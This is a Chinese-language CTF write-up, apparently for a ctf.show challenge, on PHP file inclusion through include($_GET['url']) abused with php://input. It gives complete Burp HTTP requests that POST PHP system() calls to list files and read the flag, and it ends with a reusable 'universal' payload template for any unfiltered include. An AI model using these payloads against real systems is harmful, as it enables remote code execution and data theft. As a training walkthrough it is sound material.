抓包发送右键到Repeater中

把 Repeater 里的所有内容全部清空 ,粘贴这段最简可执行请求:
双击到代码行中复制
POST /?url=php://input HTTP/1.1
Host: 2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
Content-Type: text/plain
Connection: close
<?php system("ls -l"); ?>
必须严格遵守的格式:
- 第 4 行
Connection: close后面必须按一次回车 ,空出一行,再写<?php ... ?> - 不要加任何多余的请求头 (比如
User-Agent、Accept等),只保留这 4 行 - 不要手动写
Content-Length,Burp 会自动计算
🚀 操作步骤(照着点)
- 在 Repeater 的 Request 编辑区,按
Ctrl+A全选,再按Delete清空所有内容 - 把上面的代码完整粘贴进去
- 确认
Host地址是你的目标地址:2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show - 点击左上角的 Send 按钮
- 看 Response 区,你会看到目录列表,里面一定有
ctf_go_go_go
🎯 拿到目录后,读取 flag
把 PHP 代码替换成下面这段,再次点击 Send:
http
POST /?url=php://input HTTP/1.1
Host: 2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
Content-Type: text/plain
Connection: close
<?php system("cat ctf_go_go_go"); ?>
Response 区会直接显示 flag{xxx},这就是最终答案!

一、题目源码(核心)
php
运行
<?php
include($_GET['url']);
?>
这一行代码 = 整个题目的 100% 考点
二、逐行解析原理(超级大白话)
1. $_GET['url'] 是什么?
- 作用 :接收浏览器 URL 里的
?url=xxx参数 - 例子 访问
http://xxx/?url=123``$_GET['url']就等于123
2. include(...) 是什么?
- PHP 官方功能 :把指定文件内容读取出来,当作 PHP 代码执行
- 可以包含:
- 本地文件
a.php - 系统文件
/etc/passwd - PHP 伪协议 (重点!)
php://inputphp://filterdata://text/plain,xxxx
- 本地文件
3. 关键爆炸点:php://input 是什么?
这是这道题的核心武器!
php://input = 读取 POST 请求的原始数据
意思是:
php
运行
include("php://input");
等于:
plaintext
把 POST 请求体里的内容 → 当作 PHP 代码 → 直接执行!
三、整题攻击链原理(最关键)
攻击链 = 4 步黄金流程
1. 你访问
plaintext
/?url=php://input
2. 服务器执行
php
运行
include("php://input");
3. php://input 去读取 POST 数据
你 POST 什么内容,服务器就把什么当作 PHP 代码执行!
4. 你 POST:
php
运行
<?php system("ls"); ?>
服务器就会执行:
plaintext
ls 列出当前目录文件
你 POST:
php
运行
<?php system("cat ctf_go_go_go"); ?>
服务器就执行:
plaintext
cat ctf_go_go_go 输出 flag
四、为什么必须用 POST?
因为:
php://input只能读取 POST 原始数据- GET 请求没有请求体,没法传代码
- 所以必须 GET → 改成 POST
五、为什么请求头和载荷之间必须空一行?
HTTP 协议规定:
plaintext
请求头
请求头
(空行)
请求体
没有空行 = 服务器不知道 POST 数据从哪开始 空行 = 告诉服务器:"头结束了,下面是要执行的代码!"
六、这道题的完整攻击流程(原理版)
1. 触发文件包含
plaintext
/?url=php://input
2. 服务器执行
php
运行
include("php://input");
3. 构造 POST 请求,传入 PHP 代码
plaintext
POST
空行
<?php system("ls"); ?>
4. 服务器执行命令,返回目录
plaintext
index.php
ctf_go_go_go
5. 再 POST 读取 flag
plaintext
<?php system("cat ctf_go_go_go"); ?>
6. 得到 flag
plaintext
flag{xxxxxxxx}
七、这道题考察的所有知识点(面试 / CTF 必背)
-
文件包含漏洞
include($_GET['xxx'])无过滤 -
PHP 伪协议
php://input读取 POST 数据执行代码 -
HTTP 请求结构请求头 + 空行 + 请求体
-
POST 方法使用传递 PHP 代码
-
系统命令执行
system("ls")``system("cat flag") -
无任何防护的危险代码
八、同类题目万能解题模型(看到就秒解)
看到代码:
php
运行
include($_GET['参数']);
固定解法:
plaintext
POST /?参数=php://input HTTP/1.1
Host: xxx
Content-Type: text/plain
Connection: close
<?php system("ls"); ?>
流程:
- ls 看目录
- cat 读 flag
- 结束
🎯 一句话终极总结
这道题 = 文件包含 + php://input + POST 命令执行 = 直接拿 flag